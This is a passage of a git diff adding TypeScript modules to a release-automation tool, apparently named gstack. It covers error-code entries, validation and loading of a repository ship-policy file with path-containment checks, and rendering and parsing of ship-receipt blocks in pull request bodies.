POLICY_SOURCE_UNAVAILABLE: {+ anchor: 'policy-source-unavailable',+ summary: 'policy source unavailable: origin/<base> is not a resolvable commit, so the reviewed .gstack/ship-policy.json cannot be read',+ fix: 'git fetch origin <base> --depth=1 (the working-tree copy is never used silently)',+ },+ POLICY_INVALID: {+ anchor: 'policy-invalid',+ summary: '.gstack/ship-policy.json has an unknown key, a wrong type or a value outside its enum',+ fix: 'run `gstack-ship-policy validate`, compare with `gstack-ship-policy init --explain`, and fix the file on the base branch',+ },+ POLICY_CONTAINMENT: {+ anchor: 'policy-containment',+ summary: 'a repo-controlled path, glob, command or list in the policy escapes the repository or exceeds its size cap',+ fix: 'use repo-relative paths without `..`, globs under 256 characters, lists under 64 entries and a release_tool under 512 characters',+ },+ POLICY_EXISTS: {+ anchor: 'policy-exists',+ summary: '.gstack/ship-policy.json already exists; nothing written',+ fix: 'edit the existing file, or pass --force to overwrite it',+ },+ REPO_COMMANDS_NOT_ALLOWED: {+ anchor: 'repo-commands-not-allowed',+ summary: 'repo commands not executed: the policy declares commands and this invocation did not opt in',+ fix: 'pass --allow-repo-commands (what /ship does), or run without the release tool',+ },+ QUEUE_STALE: {+ anchor: 'queue-stale',+ summary: 'the base SHA or queue order the allocation assumed has moved',+ fix: 'recompute with the printed command (gstack-restamp --next ... with the current --expect-base) before merging',+ },+ RESTAMP_VERSION_SOURCE: {+ anchor: 'restamp-version-source',+ summary: 'the configured version source is absent, ambiguous or broken at the base revision or on the branch',+ fix: 'create VERSION or pin .gstack/version-path; gstack never invents a version',+ },+ RESTAMP_MERGE_CONFLICT: {+ anchor: 'restamp-merge-conflict',+ summary: 'the gate-ahead merge of the branch and its predecessor conflicts; nothing written',+ fix: 'merge the predecessor into the branch under /ship Step 3’s conflict rules, then run --after again',+ },+ RESTAMP_RELEASE_TOOL_FAILED: {+ anchor: 'restamp-release-tool-failed',+ summary: 'the policy’s release_tool exited non-zero in the staging worktree; nothing written to the branch',+ fix: 'run the release tool by hand in the repo, fix it, and rerun gstack-restamp',+ },+ RESTAMP_OUTPUT_OUTSIDE_ALLOWED: {+ anchor: 'restamp-output-outside-allowed',+ summary: 'the release tool wrote a path outside the enumerated allowed-output set; nothing written to the branch',+ fix: 'list the path in `release_outputs` or `stamp_paths` on the base branch, or stop the tool from writing it',+ },+ RESTAMP_CONFLICT: {+ anchor: 'restamp-conflict',+ summary: 'a file to write or roll back no longer holds the bytes the journal recorded (a later edit); the restamp stopped',+ fix: 'inspect .gstack/tmp/restamp-journal.json, reconcile the file by hand, then rerun gstack-restamp',+ },+ RESTAMP_PREDECESSOR_MOVED: {+ anchor: 'restamp-predecessor-moved',+ summary: 'PREDECESSOR MOVED: the predecessor head the gate assumed is no longer that PR’s head',+ fix: 'gstack-restamp --after <pr> again and regate on the new synthetic tree',+ },+ CHANGELOG_DUPLICATE_HEADING: {+ anchor: 'changelog-duplicate-heading',+ summary: 'two CHANGELOG sections carry the same version heading',+ fix: 'merge the duplicate sections into one entry under the new version',+ },+ CHANGELOG_TOP_MISMATCH: {+ anchor: 'changelog-top-mismatch',+ summary: 'the first CHANGELOG entry is not the version being stamped',+ fix: 'move the PR’s entry to the top (gstack-restamp does this) or fix the heading to match VERSION',+ },+ CHANGELOG_SECTION_MISSING: {+ anchor: 'changelog-section-missing',+ summary: 'the CHANGELOG has no `[Unreleased]` or old-version section for this PR to re-head',+ fix: 'write the PR’s entry under `## [Unreleased]` (stamp-at-merge) and rerun',+ },+ GATE_REUSE_NOT_ELIGIBLE: {+ anchor: 'gate-reuse-not-eligible',+ summary: 'the earlier gate ran under a different identity (tree, runtime pins, lockfile, CI config, gate command or selection)',+ fix: 'rerun the named lanes on the final stamped tree with the printed command',+ },+ EVIDENCE_IDENTITY_UNKNOWN: {+ anchor: 'evidence-identity-unknown',+ summary: 'the evidence bundle lacks the execution identity (committed tree, runtime, lockfile or command hash) a reuse decision needs',+ fix: 'rebuild the bundle on the gate machine with `gstack-evidence bundle` after the lanes ran on a committed head',+ },+ EVIDENCE_BUNDLE_INVALID: {+ anchor: 'evidence-bundle-invalid',+ summary: 'the evidence bundle is not valid JSON or not the schema this gstack reads',+ fix: 'rebuild it with `gstack-evidence bundle`; never hand-edit a bundle',+ },+ PREREGISTRATION_NOT_ANCESTOR: {+ anchor: 'preregistration-not-ancestor',+ summary: 'a preregistration_shas entry is not an ancestor of HEAD',+ fix: 'rebase or merge so the preregistered commit is in the branch history, or remove the entry on the base branch',+ },+ HISTORY_POLICY_VIOLATION: {+ anchor: 'history-policy-violation',+ summary: 'the policy says history: merge-only and the plan squashes, rebases or rewrites the branch',+ fix: 'merge the base branch instead (git merge origin/<base>) and keep every commit',+ },+ RECEIPT_MISSING: {+ anchor: 'receipt-missing',+ summary: 'no ```gstack-ship-receipt``` block was found in the PR body',+ fix: 'write it with `gstack-ship-receipt write ... --pr <n>` (/ship Step 18) before reading it',+ },+ RECEIPT_INVALID: {+ anchor: 'receipt-invalid',+ summary: 'the ship receipt block does not validate against the ship-receipt schema',+ fix: 'regenerate it with `gstack-ship-receipt write`; never hand-edit the block',+ },// B-runner (gstack-autoplan, gstack-outside-voice, lib/spend-ledger.ts).EXECUTION_UNKNOWN: {anchor: 'execution-unknown',diff --git a/lib/ship-policy.ts b/lib/ship-policy.tsnew file mode 100644index 000000000..1765ac23f--- /dev/null+++ b/lib/ship-policy.ts@@ -0,0 +1,369 @@+/**+ * ship-policy — the machine-readable repo ship policy (plan C1):+ * `.gstack/ship-policy.json`, read from the committed base-branch copy+ * (`origin/<base>`) so a PR cannot smuggle a command into its own gate.+ *+ * File presence never authorizes execution: `release_tool` runs only under+ * `/ship` or `--allow-repo-commands` (bin/gstack-restamp enforces that; this+ * module only names the commands a policy declares). Every repo-controlled+ * path (`stamp_paths`, `release_outputs`, `changelog`, `mirror`) is+ * containment-checked here: no absolute paths, no `..`, globs confined to the+ * repository, regex size caps, and symlink-escape checks when a glob is+ * resolved against a tree. Docs: docs/ship-policy.md. Callers: bin/gstack-+ * ship-policy, lib/restamp.ts, lib/tree-receipt.ts, lib/ship-receipt.ts.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { RESULT_CODES, type ResultCodeName } from './result-codes';++export const SHIP_POLICY_PATH = '.gstack/ship-policy.json';+export const SHIP_POLICY_SCHEMA = 'https://github.com/garrytan/gstack/docs/ship-policy.md#schema-v1';++export type BumpPolicy = 'patch' | 'ask';+export type QueueMode = 'claim-at-open' | 'stamp-at-merge';+export type HistoryPolicy = 'merge-only' | 'squash-ok';++export interface ShipPolicy {+ $schema?: string;+ /** `patch` skips the MINOR/MAJOR prompts in /ship Step 12; `ask` keeps them. */+ bump: BumpPolicy;+ /** `stamp-at-merge`: no claim at PR open; stamp when the PR is next. `claim-at-open` is today's queue. */+ queue_mode: QueueMode;+ /** The repo's own release tool (for example `bun run release:restamp`); run only under /ship or --allow-repo-commands. */+ release_tool: string | null;+ /** Globs the release tool may write beyond the stamp files; any other output is a refusal. */+ release_outputs: string[];+ /** Globs where `(was X)`, `since: X` and `vX` mentions are rewritten on a restamp. */+ stamp_paths: string[];+ /** The CHANGELOG re-headed on a restamp; null for repos without one. */+ changelog: string | null;+ /** Path of a paired repo to restamp identically (tier 2). */+ mirror: string | null;+ /** `merge-only` refuses a squash or rebase plan in /ship. */+ history: HistoryPolicy;+ /** Each must be an ancestor of HEAD before push (`gstack-evidence ancestor`). */+ preregistration_shas: string[];+ /** Evidence labels that consume VERSION or generated bytes and always rerun on the stamped tree. */+ stamp_sensitive_gates: string[];+ /** Consumed by the plan reviews (D1). */+ pr_count: { default_pr_count: number; split_requires_owner: boolean };+ /** Maintainer logins for contributor-PR mode (E3); empty means "use push permission". */+ maintainers: string[];+}++export const DEFAULT_POLICY: ShipPolicy = {+ bump: 'ask',+ queue_mode: 'claim-at-open',+ release_tool: null,+ release_outputs: [],+ stamp_paths: [],+ changelog: 'CHANGELOG.md',+ mirror: null,+ history: 'squash-ok',+ preregistration_shas: [],+ stamp_sensitive_gates: [],+ pr_count: { default_pr_count: 1, split_requires_owner: true },+ maintainers: [],+};++export type PolicyKey = Exclude<keyof ShipPolicy, '$schema'>;+export const POLICY_KEYS = Object.keys(DEFAULT_POLICY) as PolicyKey[];++/** What each key means, printed by `init --explain` (JSON carries no comments). */+export const POLICY_EXPLANATIONS: Record<PolicyKey, string> = {+ bump: 'patch | ask. `patch` skips the MINOR/MAJOR prompt in /ship Step 12.',+ queue_mode: 'claim-at-open | stamp-at-merge. stamp-at-merge stamps when the PR is next (`gstack-restamp --next`), from the base branch version at that moment.',+ release_tool: 'The repo’s own release command, run in an isolated staging worktree with an enumerated allowed-output set. Never runs without /ship or --allow-repo-commands.',+ release_outputs: 'Globs the release tool may write beyond the version files, lockfiles, CHANGELOG and stamp_paths. Any other output refuses the restamp.',+ stamp_paths: 'Globs (repo-relative, no `..`) where exact `(was X)`, `since: X` and `vX` mentions of the old version are rewritten.',+ changelog: 'CHANGELOG path re-headed on a restamp (the PR’s `[Unreleased]` or old-version section moves to the top under the new version). null to skip.',+ mirror: 'Relative path of a paired repo to restamp identically; writes are confined to it. null to skip.',+ history: 'merge-only | squash-ok. merge-only makes /ship refuse a squash or rebase plan.',+ preregistration_shas: 'Commits that must be ancestors of HEAD before push (preregistered evals); checked by `gstack-evidence ancestor`.',+ stamp_sensitive_gates: 'Evidence labels (gstack-evidence --label) that read VERSION or generated bytes; the tree receipt never marks them reusable.',+ pr_count: '{ default_pr_count, split_requires_owner }: the PR-count row in plan reviews.',+ maintainers: 'GitHub logins treated as maintainers by /review contributor mode; empty uses repository push permission.',+};++export interface PolicyError { code: ResultCodeName; path: string; message: string }++const MAX_LIST = 64;+const MAX_PATTERN = 256;+const MAX_REGEX = 512;+const MAX_COMMAND = 512;+const SHA_RE = /^[0-9a-f]{7,64}$/;++function hasDotDot(p: string): boolean {+ return p.split(/[\\/]+/).some(seg => seg === '..');+}++/** A repo-relative path or glob: no absolute paths, drive letters, `..` segments, NULs or control bytes. */+export function containedRelative(p: string): string | null {+ if (typeof p !== 'string' || p.length === 0) return 'must be a non-empty string';+ if (p.length > MAX_PATTERN) return `longer than ${MAX_PATTERN} characters`;+ if (/[\0\r\n]/.test(p)) return 'contains a control character';+ if (path.isAbsolute(p) || /^[A-Za-z]:[\\/]/.test(p) || p.startsWith('\\\\')) return 'must be repo-relative, not absolute';+ if (p.startsWith('~')) return 'must not start with ~';+ if (hasDotDot(p)) return 'must not contain a `..` segment';+ return null;+}++/** Glob → anchored RegExp. `**` spans directories, `*` and `?` stay inside one segment. Size-capped. */+export function globToRegExp(glob: string): RegExp {+ let out = '^';+ for (let i = 0; i < glob.length; i++) {+ const ch = glob[i]!;+ if (ch === '*') {+ if (glob[i + 1] === '*') {+ i += 1;+ if (glob[i + 1] === '/') { i += 1; out += '(?:.*/)?'; } else out += '.*';+ } else out += '[^/]*';+ } else if (ch === '?') out += '[^/]';+ else out += ch.replace(/[.+^${}()|[\]\\]/g, '\\$&');+ }+ out += '$';+ if (out.length > MAX_REGEX) throw new Error(`pattern expands past ${MAX_REGEX} characters`);+ return new RegExp(out);+}++export function matchesAny(globs: readonly string[], rel: string): boolean {+ const norm = rel.replace(/\\/g, '/').replace(/^\.\//, '');+ return globs.some(g => globToRegExp(g).test(norm));+}++function listErrors(key: string, value: unknown, out: PolicyError[], check: (item: string) => string | null): void {+ if (!Array.isArray(value)) { out.push({ code: 'POLICY_INVALID', path: key, message: 'must be an array of strings' }); return; }+ if (value.length > MAX_LIST) out.push({ code: 'POLICY_CONTAINMENT', path: key, message: `more than ${MAX_LIST} entries` });+ value.forEach((item, i) => {+ if (typeof item !== 'string') { out.push({ code: 'POLICY_INVALID', path: `${key}[${i}]`, message: 'must be a string' }); return; }+ const why = check(item);+ if (why) out.push({ code: 'POLICY_CONTAINMENT', path: `${key}[${i}]`, message: `${JSON.stringify(item)} ${why}` });+ });+}++function globError(g: string): string | null {+ const why = containedRelative(g);+ if (why) return why;+ try { globToRegExp(g); } catch (e: any) { return e.message; }+ return null;+}++/** Schema and containment check of a parsed policy object. Unknown keys are errors (a typo must not silently mean "default"). */+export function validatePolicy(raw: unknown): PolicyError[] {+ const errors: PolicyError[] = [];+ if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return [{ code: 'POLICY_INVALID', path: '', message: 'policy must be a JSON object' }];+ const obj = raw as Record<string, unknown>;+ for (const key of Object.keys(obj)) {+ if (key !== '$schema' && !POLICY_KEYS.includes(key as PolicyKey)) errors.push({ code: 'POLICY_INVALID', path: key, message: `unknown key; valid keys: ${POLICY_KEYS.join(', ')}` });+ }+ const oneOf = (key: string, values: readonly string[]) => {+ if (key in obj && !values.includes(obj[key] as string)) errors.push({ code: 'POLICY_INVALID', path: key, message: `must be one of ${values.join(' | ')}, got ${JSON.stringify(obj[key])}` });+ };+ oneOf('bump', ['patch', 'ask']);+ oneOf('queue_mode', ['claim-at-open', 'stamp-at-merge']);+ oneOf('history', ['merge-only', 'squash-ok']);+ if ('release_tool' in obj && obj.release_tool !== null) {+ const t = obj.release_tool;+ if (typeof t !== 'string' || !t.trim()) errors.push({ code: 'POLICY_INVALID', path: 'release_tool', message: 'must be a non-empty string or null' });+ else if (t.length > MAX_COMMAND) errors.push({ code: 'POLICY_CONTAINMENT', path: 'release_tool', message: `longer than ${MAX_COMMAND} characters` });+ else if (/[\0\r\n]/.test(t)) errors.push({ code: 'POLICY_CONTAINMENT', path: 'release_tool', message: 'contains a newline or NUL' });+ }+ if ('release_outputs' in obj) listErrors('release_outputs', obj.release_outputs, errors, globError);+ if ('stamp_paths' in obj) listErrors('stamp_paths', obj.stamp_paths, errors, globError);+ for (const key of ['changelog', 'mirror'] as const) {+ if (!(key in obj) || obj[key] === null) continue;+ if (typeof obj[key] !== 'string') { errors.push({ code: 'POLICY_INVALID', path: key, message: 'must be a string or null' }); continue; }+ const p = obj[key] as string;+ const why = key === 'mirror' ? mirrorPathError(p) : containedRelative(p);+ if (why) errors.push({ code: 'POLICY_CONTAINMENT', path: key, message: `${JSON.stringify(p)} ${why}` });+ }+ if ('preregistration_shas' in obj) listErrors('preregistration_shas', obj.preregistration_shas, errors, s => (SHA_RE.test(s) ? null : 'is not a 7-64 character hex commit id'));+ if ('stamp_sensitive_gates' in obj) listErrors('stamp_sensitive_gates', obj.stamp_sensitive_gates, errors, s => (/^[A-Za-z0-9_.:-]{1,64}$/.test(s) ? null : 'is not an evidence label ([A-Za-z0-9_.:-]{1,64})'));+ if ('maintainers' in obj) listErrors('maintainers', obj.maintainers, errors, s => (/^[A-Za-z0-9-]{1,39}$/.test(s) ? null : 'is not a GitHub login'));+ if ('pr_count' in obj) {+ const pc = obj.pr_count as Record<string, unknown> | null;+ if (!pc || typeof pc !== 'object' || Array.isArray(pc)) errors.push({ code: 'POLICY_INVALID', path: 'pr_count', message: 'must be { default_pr_count, split_requires_owner }' });+ else {+ if (!Number.isInteger(pc.default_pr_count) || (pc.default_pr_count as number) < 1) errors.push({ code: 'POLICY_INVALID', path: 'pr_count.default_pr_count', message: 'must be an integer >= 1' });+ if (typeof pc.split_requires_owner !== 'boolean') errors.push({ code: 'POLICY_INVALID', path: 'pr_count.split_requires_owner', message: 'must be a boolean' });+ for (const k of Object.keys(pc)) if (!['default_pr_count', 'split_requires_owner'].includes(k)) errors.push({ code: 'POLICY_INVALID', path: `pr_count.${k}`, message: 'unknown key' });+ }+ }+ return errors;+}++/**+ * A mirror is a sibling checkout, so leading `..` segments are allowed; an+ * interior `..`, an absolute path or the repo itself (`.`) are not.+ */+function mirrorPathError(p: string): string | null {+ if (!p || p.length > MAX_PATTERN) return 'must be a non-empty relative path';+ if (/[\0\r\n]/.test(p)) return 'contains a control character';+ if (path.isAbsolute(p) || /^[A-Za-z]:[\\/]/.test(p)) return 'must be relative to the repository root';+ const segs = p.split(/[\\/]+/).filter(s => s && s !== '.');+ if (segs.length === 0) return 'must not be the repository itself';+ let i = 0;+ while (i < segs.length && segs[i] === '..') i += 1;+ if (segs.slice(i).includes('..')) return 'must not contain an interior `..` segment';+ if (i === segs.length) return 'must name a directory, not only parents';+ return null;+}++/** Merge a parsed file over the defaults, recording per-key provenance. */+export function mergePolicy(raw: Record<string, unknown> | null, sourceLabel: string): { policy: ShipPolicy; values: Record<string, string> } {+ const policy: ShipPolicy = JSON.parse(JSON.stringify(DEFAULT_POLICY));+ const values: Record<string, string> = {};+ for (const key of POLICY_KEYS) {+ if (raw && key in raw) { (policy as any)[key] = raw[key]; values[key] = sourceLabel; }+ else values[key] = 'default';+ }+ if (raw && typeof raw.$schema === 'string') policy.$schema = raw.$schema;+ return { policy, values };+}++export interface PolicySource { kind: 'base' | 'head' | 'none'; ref: string | null; sha: string | null; label: string }+export interface LoadedPolicy {+ policy: ShipPolicy;+ present: boolean;+ source: PolicySource;+ errors: PolicyError[];+ values: Record<string, string>;+}+export type PolicyLoad = LoadedPolicy | { unavailable: true; base: string; detail: string };++function git(repoRoot: string, args: string[]): { ok: boolean; out: string; err: string } {+ const r = spawnSync('git', args, { cwd: repoRoot, encoding: 'utf8', timeout: 30_000 });+ return { ok: r.status === 0, out: (r.stdout ?? '').trim(), err: (r.stderr ?? '').trim() };+}++/** `--base` when given, else origin/HEAD's branch, else `main`. */+export function resolveBaseBranch(repoRoot: string, explicit?: string): string {+ if (explicit && explicit.trim()) return explicit.trim().replace(/^origin\//, '');+ const r = git(repoRoot, ['symbolic-ref', '--quiet', '--short', 'refs/remotes/origin/HEAD']);+ if (r.ok && r.out) return r.out.replace(/^origin\//, '');+ return 'main';+}++function finish(rawText: string | null, source: PolicySource): LoadedPolicy {+ if (rawText === null) return { policy: mergePolicy(null, source.label).policy, present: false, source, errors: [], values: mergePolicy(null, source.label).values };+ let raw: unknown;+ try { raw = JSON.parse(rawText); }+ catch (e: any) { return { policy: JSON.parse(JSON.stringify(DEFAULT_POLICY)), present: true, source, errors: [{ code: 'POLICY_INVALID', path: SHIP_POLICY_PATH, message: `not valid JSON: ${e.message}` }], values: {} }; }+ const errors = validatePolicy(raw);+ const merged = mergePolicy(errors.length ? null : (raw as Record<string, unknown>), source.label);+ return { policy: merged.policy, present: true, source, errors, values: merged.values };+}++/**+ * The reviewed policy: `.gstack/ship-policy.json` as committed on+ * `origin/<base>`. An unresolvable base is `unavailable` (POLICY_SOURCE_+ * UNAVAILABLE); the caller must never fall back to the working tree silently.+ */+export function loadPolicyFromBase(repoRoot: string, base: string): PolicyLoad {+ const ref = `origin/${base.replace(/^origin\//, '')}`;+ const sha = git(repoRoot, ['rev-parse', '--verify', '--quiet', `${ref}^{commit}`]);+ if (!sha.ok || !sha.out) return { unavailable: true, base: base.replace(/^origin\//, ''), detail: `${ref} is not a resolvable commit` };+ const source: PolicySource = { kind: 'base', ref, sha: sha.out, label: `${ref}@${sha.out.slice(0, 12)}:${SHIP_POLICY_PATH}` };+ const exists = git(repoRoot, ['cat-file', '-e', `${sha.out}:${SHIP_POLICY_PATH}`]);+ if (!exists.ok) return finish(null, { ...source, kind: 'none', label: `${ref}@${sha.out.slice(0, 12)} (no ${SHIP_POLICY_PATH})` });+ const show = git(repoRoot, ['show', `${sha.out}:${SHIP_POLICY_PATH}`]);+ return finish(show.ok ? show.out : null, source);+}++/** The working-tree policy: unreviewed, labeled so in every receipt. */+export function loadPolicyFromHead(repoRoot: string): LoadedPolicy {+ const file = path.join(repoRoot, SHIP_POLICY_PATH);+ const source: PolicySource = { kind: 'head', ref: null, sha: null, label: `head (unreviewed) ${SHIP_POLICY_PATH}` };+ if (!fs.existsSync(file)) return finish(null, { ...source, kind: 'none', label: `head (no ${SHIP_POLICY_PATH})` });+ return finish(fs.readFileSync(file, 'utf8'), source);+}++/** The one POLICY_SOURCE_UNAVAILABLE line, with the base branch substituted into the fix clause. */+export function policyUnavailableLine(context: string, base: string, detail: string): string {+ const row = RESULT_CODES.POLICY_SOURCE_UNAVAILABLE;+ return `${context}: ${row.summary} (${detail}); fix: ${row.fix.replace('<base>', base)} (POLICY_SOURCE_UNAVAILABLE)`;+}++export function isUnavailable(load: PolicyLoad): load is { unavailable: true; base: string; detail: string } {+ return (load as any).unavailable === true;+}++/** Commands a policy declares; their presence never authorizes execution. */+export function declaredCommands(policy: ShipPolicy): Array<{ key: string; command: string; cwd: string }> {+ const out: Array<{ key: string; command: string; cwd: string }> = [];+ if (policy.release_tool) out.push({ key: 'release_tool', command: policy.release_tool, cwd: '.' });+ if (policy.release_tool && policy.mirror) out.push({ key: 'mirror.release_tool', command: policy.release_tool, cwd: policy.mirror });+ return out;+}++/** The example `init` writes: every key at its default plus `$schema`. */+export function examplePolicyJson(overrides: Partial<ShipPolicy> = {}): string {+ const body: Record<string, unknown> = { $schema: SHIP_POLICY_SCHEMA };+ for (const key of POLICY_KEYS) body[key] = key in overrides ? (overrides as any)[key] : (DEFAULT_POLICY as any)[key];+ return JSON.stringify(body, null, 2) + '\n';+}++export function explainPolicy(): string {+ return POLICY_KEYS.map(key => `${key}: ${POLICY_EXPLANATIONS[key]} default: ${JSON.stringify((DEFAULT_POLICY as any)[key])}`).join('\n') + '\n';+}++/** `key=value (source)` lines plus the `policy:` provenance line, as show-effective prints them. */+export function renderEffective(load: LoadedPolicy, opts: { base?: string } = {}): string {+ const lines = [`policy: ${load.source.kind === 'base' ? 'base' : load.source.kind === 'head' ? 'head (unreviewed)' : 'none (defaults)'} ${load.source.label}`];+ for (const key of POLICY_KEYS) lines.push(`${key}=${JSON.stringify((load.policy as any)[key])} (${load.values[key] ?? 'default'})`);+ return lines.join('\n') + '\n' + shipConsequences(load.policy, opts.base ?? '<base>').map(l => `ship: ${l}`).join('\n') + '\n';+}++/** What `/ship` does differently under this policy: the workflow prose the skill prints instead of carrying (docs/ship-policy.md#ship). */+export function shipConsequences(policy: ShipPolicy, base: string): string[] {+ const out: string[] = [];+ if (policy.history === 'merge-only') out.push('history merge-only: never rebase, squash or force-push this branch; `gstack-ship-policy check-history --plan <merge|squash|rebase>` refuses a rewrite plan (HISTORY_POLICY_VIOLATION)');+ if (policy.queue_mode === 'stamp-at-merge') {+ out.push(`queue_mode stamp-at-merge: Step 12 items 1-4 are replaced by \`gstack-restamp --next --base ${base} --pr <pr-number> --expect-base <base-sha>\` when this PR is next in the queue (\`--after <predecessor-pr>\` gates ahead in a throwaway worktree when it is not); follow its next: line; claims are ignored`);+ out.push('gate-ahead: with .gstack/tmp/gate-ahead.json present, Step 16 reuses only the lanes `gstack-tree-receipt --from .gstack/tmp/gate-ahead.json --predecessor-pr <pr> --bundle <bundle> --json > .gstack/tmp/tree-receipt.json` marks reusable; stamp-sensitive and not-eligible lanes run live; `--force-gate <reason>` is the coordinator\'s call');+ } else out.push('queue_mode claim-at-open: Step 12 runs as written (claims through gstack-next-version)');+ out.push(policy.bump === 'patch' ? 'bump patch: Step 12 never asks for MINOR or MAJOR; PATCH or MICRO by size' : 'bump ask: Step 12 asks for MINOR and MAJOR as written');+ if (policy.preregistration_shas.length) out.push(`preregistration: \`gstack-evidence ancestor --from-policy --base ${base}\` must print only ANCESTOR: ok before push; the ship receipt records the result`);+ if (policy.release_tool) out.push(`release_tool: \`${policy.release_tool}\` runs only inside gstack-restamp (staging worktree, outputs confined to release_outputs)`);+ return out;+}++/**+ * Files under `globs` inside a committed tree, as `git ls-tree` lists them.+ * Symlinks (mode 120000) never match: a stamp write through a link would+ * escape the tree the glob confines it to.+ */+export function listTreeFiles(repoRoot: string, treeish: string): Array<{ path: string; mode: string }> {+ const r = git(repoRoot, ['ls-tree', '-r', '-z', treeish]);+ if (!r.ok) return [];+ return r.out.split('\0').filter(Boolean).map(line => {+ const [meta, p] = line.split('\t');+ return { path: p ?? '', mode: meta?.split(' ')[0] ?? '' };+ }).filter(e => e.path);+}++export function stampFilesInTree(repoRoot: string, treeish: string, globs: readonly string[]): string[] {+ if (globs.length === 0) return [];+ return listTreeFiles(repoRoot, treeish).filter(e => e.mode !== '120000' && matchesAny(globs, e.path)).map(e => e.path);+}++/**+ * A working-tree path a stamp may write: inside `root` after realpath (a+ * symlink out of the repository is refused even when the glob matched).+ */+export function assertInsideRoot(root: string, rel: string): string | null {+ const realRoot = fs.realpathSync(root);+ const abs = path.resolve(realRoot, rel);+ if (abs !== realRoot && !abs.startsWith(realRoot + path.sep)) return `${rel} resolves outside ${root}`;+ let probe = abs;+ while (!fs.existsSync(probe)) {+ const parent = path.dirname(probe);+ if (parent === probe) break;+ probe = parent;+ }+ let real: string;+ try { real = fs.realpathSync(probe); } catch { return null; }+ if (real !== realRoot && !real.startsWith(realRoot + path.sep)) return `${rel} resolves through a symlink to outside ${root}`;+ return null;+}diff --git a/lib/ship-receipt.ts b/lib/ship-receipt.tsnew file mode 100644index 000000000..63b08c08e--- /dev/null+++ b/lib/ship-receipt.ts@@ -0,0 +1,126 @@+/**+ * ship-receipt — the handoff record, identifiers first (plan C5). Renders the+ * ```gstack-ship-receipt``` block from the `ship-receipt` schema in+ * lib/headless-artifacts.ts, puts it first in a PR body so truncation loses+ * prose rather than identifiers, reads it back from a PR through `gh`, and+ * computes the P7 adoption census over merged PRs (deduplicated by run and+ * thread id against an owner-maintained thread cohort).+ */+import { ARTIFACT_SCHEMAS, checkSchema, type ShipReceipt, type ValidationError } from './headless-artifacts';++export const RECEIPT_FENCE = 'gstack-ship-receipt';+const KEY_ORDER: Array<keyof ShipReceipt> = [+ 'schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd',+ 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history',+];++/** Keys in the fixed order so identifiers lead; undefined values are dropped. */+export function orderReceipt(input: Partial<ShipReceipt>): ShipReceipt {+ const out: Record<string, unknown> = {};+ for (const key of KEY_ORDER) if (input[key] !== undefined) out[key] = input[key];+ for (const key of Object.keys(input)) if (!(key in out) && (input as any)[key] !== undefined) out[key] = (input as any)[key];+ return { schema_version: 1, ...out } as ShipReceipt;+}++export function validateReceipt(receipt: unknown): ValidationError[] {+ const errors: ValidationError[] = [];+ checkSchema(receipt, ARTIFACT_SCHEMAS['ship-receipt'], '', errors, 'ship-receipt');+ return errors;+}++export function renderReceiptBlock(receipt: ShipReceipt): string {+ return '```' + RECEIPT_FENCE + '\n' + JSON.stringify(receipt, null, 2) + '\n```\n';+}++const BLOCK_RE = /```gstack-ship-receipt[ \t]*\r?\n([\s\S]*?)\r?\n```/;++/** The first receipt block in a PR body, parsed; `found: false` when absent. */+export function extractReceipt(body: string): { found: boolean; receipt?: ShipReceipt; raw?: string; errors: ValidationError[] } {+ const m = BLOCK_RE.exec(body);+ if (!m) return { found: false, errors: [] };+ try {+ const parsed = JSON.parse(m[1]!);+ return { found: true, receipt: parsed, raw: m[1], errors: validateReceipt(parsed) };+ } catch (e: any) {+ return { found: true, raw: m[1], errors: [{ code: 'RECEIPT_INVALID', path: 'ship-receipt', message: `block is not JSON: ${e.message}` }] };+ }+}++/** The block becomes the first section of the body: an existing block is replaced in place at the top, prose follows. */+export function placeReceiptFirst(body: string, receipt: ShipReceipt): string {+ const block = renderReceiptBlock(receipt);+ const stripped = body.replace(BLOCK_RE, '').replace(/^\s+/, '');+ return block + (stripped ? '\n' + stripped : '');+}++/** The first lines of the completion message to the coordinator: identifiers only. */+export function receiptSummaryLine(r: ShipReceipt): string {+ const parts = [`pr=${r.pr ?? '-'}`, `head=${r.head.slice(0, 12)}`, `version=${r.version ?? '-'}`, `base=${r.base}`];+ if (r.gated_tree) parts.push(`gated_tree=${r.gated_tree.slice(0, 12)}`);+ if (r.tree) parts.push(`tree=${r.tree}`);+ if (r.gate_reuse) parts.push(`gate-reuse=${r.gate_reuse}`);+ if (r.predecessor) parts.push(`predecessor=${r.predecessor.slice(0, 12)}`);+ if (r.session_kind) parts.push(`session_kind=${r.session_kind}`);+ if (r.artifacts_consumed) parts.push(`artifacts_consumed=${r.artifacts_consumed}`);+ return `SHIP_RECEIPT: ${parts.join(' ')}`;+}++// ---------------------------------------------------------------------------+// census (P7)+// ---------------------------------------------------------------------------+export interface CensusPr { number: number; mergedAt: string; body: string; title?: string }+export interface Census {+ repo: string; since: string; merged_prs: number; with_receipt: number; invalid_receipts: number;+ unattended_prs: number; consumed_prs: number; runs: string[]; threads: string[]; consumed_threads: string[];+ cohort: string[] | null; cohort_consumed: number; adoption: string; durable: 'yes'; by_session_kind: Record<string, number>;+ prs: Array<{ number: number; session_kind: string | null; artifacts_consumed: string | null; run: string | null; thread: string | null; valid: boolean }>;+}++function consumedCount(value: string | undefined): number {+ const m = /^(\d+)\s*\/\s*(\d+)$/.exec(value ?? '');+ return m ? Number(m[1]) : 0;+}++/** Merged PRs → the adoption number: receipts deduplicated by run id and thread id, against the cohort when given. */+export function computeCensus(repo: string, since: string, prs: CensusPr[], cohort: string[] | null): Census {+ const runs = new Set<string>();+ const threads = new Set<string>();+ const consumedThreads = new Set<string>();+ const byKind: Record<string, number> = {};+ const rows: Census['prs'] = [];+ let withReceipt = 0;+ let invalid = 0;+ let unattended = 0;+ let consumed = 0;+ const seenRuns = new Set<string>();+ for (const pr of prs) {+ const ex = extractReceipt(pr.body ?? '');+ if (!ex.found) continue;+ withReceipt += 1;+ if (ex.errors.length || !ex.receipt) { invalid += 1; rows.push({ number: pr.number, session_kind: null, artifacts_consumed: null, run: null, thread: null, valid: false }); continue; }+ const r = ex.receipt;+ rows.push({ number: pr.number, session_kind: r.session_kind ?? null, artifacts_consumed: r.artifacts_consumed ?? null, run: r.run ?? null, thread: r.thread ?? null, valid: true });+ const kind = r.session_kind ?? 'unknown';+ 